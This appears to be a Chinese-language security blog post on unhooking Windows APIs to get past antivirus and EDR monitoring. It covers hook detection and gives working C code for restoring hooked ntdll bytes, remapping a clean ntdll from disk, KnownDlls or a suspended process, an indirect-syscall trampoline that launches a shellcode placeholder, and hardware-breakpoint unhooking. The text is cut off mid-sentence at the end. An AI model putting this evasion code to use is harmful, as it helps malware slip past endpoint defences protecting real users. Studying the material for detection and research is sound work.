Api Unhook

flying

前置知识

protection rings

保护环,是计算机体系结构中用来描述不同权限级别的一种机制。它们的设计目的是为了实现对系统资源的访问控制,确保程序和用户在执行时的安全性和隔离性。

内核模式(Ring 0、0环)是操作系统的核心部分,具有对所有硬件资源和内存的完全控制权限。

用户模式(Ring 3、3环)是用户程序、应用程序和其他非核心服务运行的地方。

Ring3 to Ring0

在用户模式下调用API时往往最后都是通过syscall调用,在内核模式中进行真正的处理,具体过程不进行展开,可以搜索Windows API函数分析、Ring3到Ring0等文章。

image-20260131181542056

image-20260131175756468

SSDT

系统服务描述符表(System Service Descriptor Table,简称SSDT)是一个在内核空间的函数索引表,通过接受syscall传入的 系统服务号(System Service ID,System Service Number, System Call Number,简称SSN)来返回对应的函数地址。类似如下结构

Function			SSN		Kernel address
NtCreateFile 55 0x5ea54623
NtCreateIRTimer ab 0x6bcd1576

image-20260131224802140

Hook

关于hook技术的实现,不是本文重点。总体上分为两类:

  • 修改函数代码:Inline hook
  • 修改函数地址:IAT hook、SSDT hook、IRP hook、IDT hook等

程序在运行时一定会调用某些系统调用,EDR为了检测这些调用行为是正常的还是恶意的,会去主动hook与调用相关的函数或表,如Windows API、SSDT等,在调用触发hook时,EDR/AV会执行自定义的检测逻辑。hook可以选择在用户态或者内核态进行,在遥远的x86的XP时代中,选择了最直接的内核态hook,通过修改 SSDT 内核函数的地址将调用重定向到他们自己的驱动程序,从而实现检测。

image-20260131231627638

如果内核轻松可以进行修改,将导致内核稳定性的缺失,因此微软为了保护其操作系统,于2005年的X64版本系统中推出了 内核补丁保护(Kernel Patch Protection,KPP,简称 PatchGuard),PatchGuard 是一种主动安全机制,它会定期检查多个关键 Windows 内核结构的状态,如果其中一个结构被除合法内核代码之外的任何内容修改,PatchGuard 就会发出致命的系统错误从而蓝屏重启。被禁止的修改包括:

  • Modifying system service descriptor tables(SSDT)
  • Modifying the interrupt descriptor table
  • Modifying the global descriptor table
  • Using kernel stacks not allocated by the kernel
  • Modifying or patching code contained within the kernel itself, or the HAL or NDIS kernel libraries

可以看到现代EDR由于 PatchGuard 的引进,直接使SSDT hook失效,不过微软为了解决这个问题并使安全产品能够再次监控系统,引入了新的机制 回调对象,本文不再展开。同时hook技术也转向了用户态,通过对常见的dll,例如ntdll.dll、kernel32.dll、user32.dll等进行hook,常见使用Inline hook修改函数代码,插入jmp指令,跳转到自定义的检测逻辑。至此EDR有了回调对象机制和用户态hook两把利剑。

image-20260131235242771

Hook检测

通过调试,在程序启动过程中会被AV/EDR注入dll

image-20260201131125111

添加了白名单后的干净程序是这样的,只加载必须的系统dll

image-20260201133529407

查看导出函数会发现很多关于hook的函数

image-20260201132845746

debug看看VirtualAlloc的详细情况,首先在kernel32.dll中jmp进入kernelbase

image-20260201131525229

kernelbase.dll中调用ZwAllocateVirtualMemory

image-20260201131628295

在ntdll.dll中看到ZwAllocateVirtualMemory

image-20260201131938311

然后与添加白名单后进行比对,发现ZwAllocateVirtualMemory没有任何变化,也就意味着该函数没有被hook

image-20260201133717218

在ntdll中挑选其他函数进行对比能明显的发现被hook的函数在进入系统调用之前被替换为 jmp 指令,跳转到AV/EDR检测

image-20260201133051740

image-20260201133846335

针对hook的检测有如下常见策略:

  • 函数开头字节比较:通过对比,被hook的函数开头是 E9 或 E8 干净的函数为 4C 8B D1 B8 ,那么以函数是否存在E9/E8作为检测点
  • 完整性校验:函数所在页面计算哈希或签名,检测是否被改写
  • 内存与映像比较:比较内存中的API函数与其磁盘版本的API函数字节是否一致

https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions

比较所有导出函数开头字节

void enumFunctionPatch() {
PDWORD functionAddress = (PDWORD)0;

HMODULE libraryBase = GetModuleHandleW(L"ntdll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);

// Locate export address table
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);

// Offsets to list of exported functions and their names
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);

// Iterate through exported functions of ntdll
for (DWORD i = 0; i < imageExportDirectory->NumberOfNames; i++)
{
// Resolve exported function name
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;

// Resolve exported function address
DWORD_PTR functionAddressRVA = 0;
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);

// Syscall stubs start with these bytes
unsigned char syscallPrologue[4] = { 0x4c, 0x8b, 0xd1, 0xb8 };

// Only interested in Nt|Zw functions
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0)
{
// Check if the first 4 instructions of the exported function are the same as the sycall's prologue
if (memcmp(functionAddress, syscallPrologue, 4) != 0) {

if (*((unsigned char*)functionAddress) == 0xE9) // first byte is a jmp instruction, where does it jump to?
{
// jmpTargetAddr = funcAddr + 5(length of jmp) + offset()
DWORD jumpTargetRelative = *((PDWORD)((char*)functionAddress + 1));
printf("Relative : %p ", jumpTargetRelative);

PDWORD jumpTarget = functionAddress + 5 + jumpTargetRelative;
printf(" Jump target address: %p ", jumpTarget);

char moduleNameBuffer[512];
GetMappedFileNameA(GetCurrentProcess(), jumpTarget, moduleNameBuffer, sizeof(moduleNameBuffer));
printf("Hooked: %s : %p into module %s\n", functionName, functionAddress, moduleNameBuffer);
}
else
{
printf("Potentially hooked: %s : %p\n", functionName, functionAddress);
}
}
}
}
}

内存与映像比较

void isFunctionPatch(LPCWSTR dllname,LPCSTR funcname) {
HMODULE memModule = GetModuleHandleA("ntdll.dll");
printf("[*] ntdll.dll in mem addr: 0x%p \n", memModule);

FARPROC memProc = GetProcAddress(memModule, funcname);
printf("[*] %s in mem addr: 0x%p \n\n", funcname, memProc);

HMODULE diskModule = LoadLibraryExW(dllname,nullptr, DONT_RESOLVE_DLL_REFERENCES);
if (!diskModule) {
printf("[-] LoadLib Err");
return;
}
printf("[*] %ls in disk addr: 0x%p \n", dllname,diskModule);

FARPROC diskProc = GetProcAddress(diskModule, funcname);
if (!diskProc) {
printf("[-] Get %s Err \n", funcname);
FreeLibrary(diskModule);
return;
}
printf("[*] %s in disk addr: 0x%p \n\n", funcname,diskProc);


BYTE membyte[4];
memcpy(membyte, memProc, sizeof(membyte));
printf("[*] %s in mem byte: ", funcname);
for (int i = 0; i < sizeof(membyte); i++) {
printf("%02X ", membyte[i]);
}
printf("\n");

BYTE diskbyte[4];
memcpy(diskbyte, diskProc, sizeof(diskbyte));
printf("[*] %s in disk byte: ",funcname);
for (int i = 0; i < sizeof(diskbyte); i++) {
printf("%02X ", diskbyte[i]);
}
printf("\n");

bool patched = memcmp(diskbyte, membyte, sizeof(membyte)) != 0;
FreeLibrary(diskModule);
return;
}
isFunctionPatch(L"C:\\Users\\admin\\Desktop\\ntdll.dll","ZwOpenProcess");

UnHook 手段

unhook手段是为了获取到干净的dll、函数。可以使用 寻找未被hook的函数、patch函数、重映射、syscall、自定义跳转、IAT、EAT等手段,在获取到干净的dll后,可以覆盖原dll,或者通过解析导出表计算地址使用干净dll中的干净函数。

计算导出表并使用干净函数,下文不再记录该方式:https://idiotc4t.com/defense-evasion/load-ntdll-too

修补函数

通过 WriteProcessMemory 等函数将原来的指令字节写到被hook的位置,从而覆盖jmp指令,恢复原始状态,以ZwOpenProcess为例

void FixFunction(LPCSTR dllname, LPCSTR funcname, LPCSTR fixbyte) {
HMODULE memModule = GetModuleHandleA(dllname);
FARPROC memProc = GetProcAddress(memModule, funcname);
printf("[+] %s address is : %p\n", funcname, memProc);
if (WriteProcessMemory(GetCurrentProcess(), memProc, fixbyte, sizeof(fixbyte), NULL)) {
printf("[+] %s unhooking done!\n", funcname);
}
}
# FixFunction("ntdll","ZwOpenProcess","\x4C\x8B\xD1\xB8\x26\x00\x00\x00");

成功修补函数

image-20260205012448835

磁盘重载

通过读取本地磁盘上dll并使用函数组合将文件映射为 memory mapped file(Mapped File Section)从而引入第二个被载入到内存中的干净dll,映射结果Type为 MEM_MAPPED,这与Image Section的映射是有区别的。

以下路线可以实现磁盘重载:

  • CreateFile + CreateFileMapping + MapViewOfFile
HANDLE hntFile = CreateFileA("C:\\Windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hntMapping = CreateFileMappingA(hntFile, NULL, PAGE_READONLY| SEC_IMAGE,0,0,NULL);
LPVOID DiskNtdllBase = MapViewOfFile(hntMapping, FILE_MAP_READ, 0, 0, 0);
...
for (WORD i = 0; i < memNtheader->FileHeader.NumberOfSections; i++, memSectionHeader++) {
if (!strcmp((char*)memSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((BYTE*)memNtdllBase + memSectionHeader->VirtualAddress), memSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
if (!isProtected) {
printf("[-] Failed in VirtualProtect1 (%u)\n", GetLastError());
}
memcpy((LPVOID)((BYTE*)memNtdllBase + memSectionHeader->VirtualAddress), (LPVOID)((BYTE*)DiskNtdllBase + memSectionHeader->VirtualAddress), memSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((BYTE*)memNtdllBase + memSectionHeader->VirtualAddress), memSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
if (!isProtected) {
printf("[-] Failed in VirtualProtect2 (%u)\n", GetLastError());
}
printf("[*] rewrite .text success");
}
}

节映射

这里先给出与磁盘重载的区别:

节映射(Image Mapping)是指通过 SEC_IMAGE 创建的 Image Section 被映射到进程地址空间,内核会对 PE 进行解析、重排与对齐,形成 完整的、可执行的映像布局(MEM_IMAGE),属于 Windows 认可的 完整映像。

磁盘重载(File Mapping)是指 磁盘上的文件仅作为普通文件,通过 Section object 进行文件映射,映射结果只是原始磁盘文件数据在内存中的线性视图(MEM_MAPPED),内核不解析 PE,也不赋予映像语义。

通过节映射将dll重新展开映射到内存中,获取到干净的dll

以下有两条路线可以实现节映射:

  • NtOpenSection + NtMapViewOfSection 通过 \KnownDlls\ntdll.dll(系统预先创建好的 Section) 直接将节对象映射,映射结果Type为 MEM_IMAGE
  • CreateFile/NtOpenFile + NtCreateSection + NtMapViewOfSection 通过文件句柄打开磁盘文件并创建Image Section,将节对象映射,映射结果Type为 MEM_IMAGE
#include <iostream>
#include <Windows.h>
#include <psapi.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )

#define OBJ_CASE_INSENSITIVE 0x40
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * RX_UNICODE_STRING;

typedef VOID(NTAPI* MyRtlInitUnicodeString)(RX_UNICODE_STRING, PCWSTR);

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
RX_UNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE

} OBJECT_ATTRIBUTES;

typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * RX_IO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* MyNtOpenSection)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* MyNtOpenFile)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES, RX_IO_STATUS_BLOCK, ULONG, ULONG);
typedef NTSTATUS(NTAPI* MyNtCreateSection)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
void SectionMapping1() {
UNICODE_STRING ObjectPath;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hSection;
PVOID SectionNtdllBase = NULL;
ULONG_PTR ViewSize = NULL;

HMODULE memNtdllBase = GetModuleHandleA("ntdll.dll");
MyRtlInitUnicodeString RtlInitUnicodeString = (MyRtlInitUnicodeString)GetProcAddress(memNtdllBase, "RtlInitUnicodeString");
MyNtOpenSection pNtOpenSection = (MyNtOpenSection)(GetProcAddress(memNtdllBase, "NtOpenSection"));
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddress(memNtdllBase, "NtMapViewOfSection"));

RtlInitUnicodeString(&ObjectPath, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

NTSTATUS status1 = pNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObjectAttributes);
if (!NT_SUCCESS(status1)) {printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());return;}

NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &SectionNtdllBase, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());return;}
...
}
void SectionMapping2() {
UNICODE_STRING ObjectPath;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hFile;
HANDLE hSection;
PVOID SectionNtdllBase = NULL;
ULONG_PTR ViewSize = NULL;

HMODULE memNtdllBase = GetModuleHandleA("ntdll.dll");
MyRtlInitUnicodeString RtlInitUnicodeString = (MyRtlInitUnicodeString)GetProcAddress(memNtdllBase, "RtlInitUnicodeString");
MyNtOpenFile pNtOpenFile = (MyNtOpenFile)(GetProcAddress(memNtdllBase, "NtOpenFile"));
MyNtCreateSection pNtCreateSection = (MyNtCreateSection)(GetProcAddress(memNtdllBase, "NtCreateSection"));
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddress(memNtdllBase, "NtMapViewOfSection"));

RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

NTSTATUS status1 = pNtOpenFile(&hFile, FILE_READ_DATA | GENERIC_READ, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, NULL);
if (!NT_SUCCESS(status1)) { printf("[!] Failed in NtOpenFile (%u)\n", GetLastError());return; }

NTSTATUS status2 = pNtCreateSection(&hSection, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
if (!NT_SUCCESS(status2)) { printf("[!] Failed in NtCreateSection (%u)\n", GetLastError());return; }

NTSTATUS status3 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &SectionNtdllBase, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status3)) { printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());return; }
...
}

image-20260208045313000

挂起进程

创建一个挂起的进程时,只会加载一个干净的ntdll.dll

void UnhookSuspend() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = {0};
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
printf("[*] PID : %d\n", pi.dwProcessId);

HMODULE memNtdllBase = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER memDosHeader = (PIMAGE_DOS_HEADER)memNtdllBase;
PIMAGE_NT_HEADERS memNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)memNtdllBase + memDosHeader->e_lfanew);
IMAGE_OPTIONAL_HEADER memOpHeader = (IMAGE_OPTIONAL_HEADER)(memNtHeader->OptionalHeader);
DWORD Ntsize = memOpHeader.SizeOfImage;

LPVOID ProcessNtdllBase = HeapAlloc(GetProcessHeap(), 0, Ntsize);
SIZE_T dwRead;
BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)memNtdllBase, ProcessNtdllBase, Ntsize, &dwRead);
if (!bSuccess) {printf("[-] Failed in reading process ntdll (%u)\n", GetLastError());return;}
TerminateProcess(pi.hProcess, 0);
...
}

在AV机器测试时虽然可以正常执行,但是最后总会触发错误

image-20260208162920145

Syscall

直接系统调用:绕过用户空间 API 钩子,直接调用内核服务

间接系统调用:通过从合法的代码位置执行系统调用来维护自然的调用堆栈

这一块内容扩展就有点太多了,后续结合项目进行学习

https://tttang.com/archive/1464/https://forum.butian.net/share/4527、https://xz.aliyun.com/news/13127

间接系统调用

通过重新自定义一个新函数,在新函数中跳转到被hook函数的jmp指令后的位置,从而跳过jmp指令检测,同时还不用修改原函数,并且最终是ntdll发起的调用。这张图以LdrLoadDll函数为例,解释了该方法的原理

image-20260211001705602

简单解释下自定义函数的指令

48 89 5c 24 10 					mov qword ptr [rsp+10h],rbx   // 手动恢复因hook被覆盖的原字节
49 bb de ad be ef de ad be ef movabs r11,0xefbeaddeefbeadde // 保存要跳转到的地址
41 ff e3 jmp r11 // 跳转
c3 ret

同样可以应用到其他的函数,通过查看上面的ZwOpenProcess对比图,发现遵循SYSCALL的函数被hook后缺少了 mov r10 rcx | mov eax <syscall number> 指令,因此在新函数中我们要添加上这两条指令后再jmp,所以自定义函数指令变为了

4C 8B D1				mov r10, rcx		// syscall-1
B8 <number> 00 00 00 mov eax, <SSN> // syscall-2,SSN number不同函数是不同的
49 BB <addr> mov r11, <addr> // 保存要跳转到的地址
41 ff e3 jmp r11 // 跳转

这里以NtCreateThreadEx为例,给出代码

#include <Windows.h>
#include <iostream>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute; // PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372)
SIZE_T Size; // Size of Value or *ValuePtr
union
{
ULONG_PTR Value; // Reserve 8 bytes for data (such as a Handle or a data pointer)
PVOID ValuePtr; // data pointer
};
PSIZE_T ReturnLength; // Either 0 or specifies size of data returned to caller via "ValuePtr"
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength; // sizeof(PS_ATTRIBUTE_LIST)
PS_ATTRIBUTE Attributes[2]; // Depends on how many attribute entries should be supplied to NtCreateUserProcess
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef NTSTATUS (NTAPI* PUSER_THREAD_START_ROUTINE)(
_In_ PVOID ThreadParameter
);

typedef NTSTATUS (NTAPI* MyNtCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ PCOBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PUSER_THREAD_START_ROUTINE StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);

PVOID CCopyMemory(PVOID Destination, CONST PVOID Source, SIZE_T Length)
{
PBYTE D = (PBYTE)Destination;
PBYTE S = (PBYTE)Source;

while (Length--)
*D++ = *S++;

return Destination;
}

void UnhookJump(LPVOID pMemory) {
unsigned char syscode[] = { 0x4C, 0x8B, 0xD1, 0xB8, 0xC2, 0x00, 0x00, 0x00, }; // mov r10, rcx ; mov eax, C2
unsigned char jumpPrelude[] = { 0x49, 0xBB }; // mov r11, jumpAddress
unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF };
unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3 }; // jmp r11
LPVOID origNtCreateThreadEx = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
LPVOID jmpAddr = (void*)((char*)origNtCreateThreadEx + 0x8);
*(void**)(jumpAddress) = jmpAddr;

LPVOID trampoline = VirtualAlloc(NULL, 19, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
printf("Address of jmpFunc at 0x%p\n", trampoline);
printf("Original NtCreateThreadEx at 0x%p\n", origNtCreateThreadEx);
printf("jmp to Address at 0x%p\n", jmpAddr);

CCopyMemory(trampoline, syscode, 8);
CCopyMemory((PBYTE)trampoline + 8, jumpPrelude, 2);
CCopyMemory((PBYTE)trampoline + 8 + 2, jumpAddress, sizeof(jumpAddress));
CCopyMemory((PBYTE)trampoline + 8 + 2 + 8, jumpEpilogue, 3);

DWORD oldProtect = 0;
VirtualProtect(trampoline, 30, PAGE_EXECUTE_READ, &oldProtect);
MyNtCreateThreadEx pNtCreateThreadEx = (MyNtCreateThreadEx)trampoline;
HANDLE hThread;
NTSTATUS status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)pMemory, NULL, FALSE, 0, 0, 0, NULL);
if (!NT_SUCCESS(status)) { printf("[!] Failed in NtCreateThreadEx (%u)\n", GetLastError());return; };
WaitForSingleObject(hThread, INFINITE);
}

int main()
{
unsigned char buf[] = "xxxx"; // shellcode here

LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pMemory, buf, sizeof(buf));
printf("shellcode address: 0x%p\n", pMemory);

UnhookJump(pMemory);

VirtualFree(pMemory, 0, MEM_RELEASE);
return 0;
}

跟踪调试下,shellcode进内存

image-20260211003716235

计算出jmp地址

image-20260211004028072

将自定义函数指令写入内存

image-20260211004203440

成功jmp,shellcode执行

image-20260211004447736

测试一下杀软环境的情况

image-20260211005453313

成功绕过了jmp

image-20260211005642161

但是最后还是被拦截

image-20260211005946114

通过比对 本机和AV机,NtCreateThreadEx已经执行,存在差异的是shellcode在创建进程这一步在AV机失败,猜测可能是shellcode所在内存地址、属性、堆栈、Thread回调等原因导致的失败?

image-20260211012343925

image-20260211012654939

直接系统调用

完全将函数进入ring0的完整指令保存并执行,最大的缺陷就是不经过ntdll直接进入内核的调用堆栈。

硬件断点

windows PE进程初始化过程中ldrloaddll 加载 ntdll过程

windows用户态调试机制与模型

三种断点方式分别触发不同类型异常

windows异常处理

用户态获取调试对象的函数:WaitForDebugEvent、ContinueDebugEvent

在用户态可以利用这么一种循环模型构造一个简单的调试器来调试程序,该调试模型是基于异常分发机制实现

  • 创建/附加debug进程
  • 通过WaitForDebugEvent获取异常事件
  • 在不同事件中可以进行你要做的事
  • 在EXCEPTION_DEBUG_EVENT可以进一步区分是什么异常类型,并进行你要做的事
  • 通过ContinueDebugEvent继续执行调试
CreateProcess(..., DEBUG_PROCESS, ...) 或者 DebugActiveProcess(dwProcessId)

DEBUG_EVENT de;
BOOL bContinue = TRUE;
DWORD dwContinueStatus = DBG_CONTINUE;

while (bContinue)
{
bContinue = WaitForDebugEvent(&de, INFINITE); // 等待调试事件(阻塞)
if (!bContinue)
break;

dwContinueStatus = DBG_CONTINUE; // 默认继续状态

switch (de.dwDebugEventCode)
{
case CREATE_PROCESS_DEBUG_EVENT: break; // 进程创建
case CREATE_THREAD_DEBUG_EVENT: break; // 线程创建
case EXIT_PROCESS_DEBUG_EVENT: bContinue = FALSE; break; // 进程退出
case EXIT_THREAD_DEBUG_EVENT: bContinue = FALSE; break; // 线程退出
case LOAD_DLL_DEBUG_EVENT: break; // dll加载
case UNLOAD_DLL_DEBUG_EVENT: break; // dll卸载
case EXCEPTION_DEBUG_EVENT: // 异常事件
{
DWORD code = de.u.Exception.ExceptionRecord.ExceptionCode;
switch (code)
{
case EXCEPTION_BREAKPOINT: {break;} // int 3 异常 - 软件断点
case EXCEPTION_ACCESS_VIOLATION: {break;} //访问异常 - 内存断点
case EXCEPTION_SINGLE_STEP: {break;} // 单步 - 硬件断点
default: // 未处理异常 -> 交给程序
{
dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED;
break;
}
}
break;
}
default: break; // 其他调试事件
}

// 通知内核继续执行
ContinueDebugEvent(de.dwProcessId,de.dwThreadId,dwContinueStatus);
}

调试与断点是无法分开的,硬件断点是异常触发手段的其中一种,它允许 CPU 在读取、写入或执行特定地址时触发异常,从而被调试模型捕获。

硬件断点进行unhook原理就是在Dr0寄存器中写入 **LdrLoadDll ** 地址即在该地址下了硬件断点,通过调试模型在 case EXCEPTION_SINGLE_STEP 时触发,此时由于进程创建时已经自动加载一个干净的ntdll,并不需要加载后续dll,因此在该断点直接return使当前进程仍处于阻塞状态以保证不会加载后续dll。

为了能理解 调试 - 硬件断点,以下有很好的文章进行学习

Microsoft-basic-debugging

初探Windows用户态调试机制

windows环境下的调试器探究

滥用方法VS检测手段:深入探究Windows硬件断点和异常

同时还有深入整个模型背后异常分发机制的拓展文章:

初探windows异常处理

Windows 10 x64 异常分发

分析下代码,创建DEBUG进程

BOOL hProcbool = CreateProcessWCustom(processName, processName, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi);

找LdrLoadDll地址

HMODULE hNtdll = GetModuleFromPEB(4097367);
HMODULE hKernel_32 = GetModuleFromPEB(109513359);
_LdrLoadDll LdrLoadDllCustom = (_LdrLoadDll)GetAPIFromPEBModule(hNtdll, 11529801);

设置Dr0为LdrLoadDll地址,如果ExceptionAddress = LdrLoadDll地址,直接return

VOID SetHWBP(DWORD_PTR address, HANDLE hThread)
{
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
ctx.Dr0 = address;
ctx.Dr7 = 0x00000001;

SetThreadContext(hThread, &ctx);

DEBUG_EVENT dbgEvent;
while (true)
{
if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0)
break;

if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT &&
dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP)
{

CONTEXT newCtx = { 0 };
newCtx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &newCtx);
if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address)
{
printf("[+] Breakpoint Hit!\n");
newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;
newCtx.EFlags |= (1 << 8);
return;
}
else {
newCtx.Dr0 = address;
newCtx.Dr7 = 0x00000001;
newCtx.EFlags &= ~(1 << 8);
}
SetThreadContext(hThread, &newCtx);
}
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
}

关于硬件断点,除了利用LdrLoadDll强制加载ntdll,还可以下两个断点第一个在edr jmp检查后,syscall之前,第二个在syscall调用完毕返回后,这样在使用API函数时传入正常无害参数,在第一个断点触发替换为恶意参数,在第二个断点触发时在替换为原参数,详情看:https://malwaretech.com/2023/12/silly-edr-bypasses-and-where-to-find-them.html

调试事件

根据上面提到的:调试事件类型(Debug Event Code,dwDebugEventCode)可以看到有一个 LOAD_DLL_DEBUG_EVENT 时加载DLL的事件,我们可以测试ntll会不会触发该事件,以及能不能阻止其他dll加载

if (WaitForDebugEvent(DbgEvent, INFINITE)) {
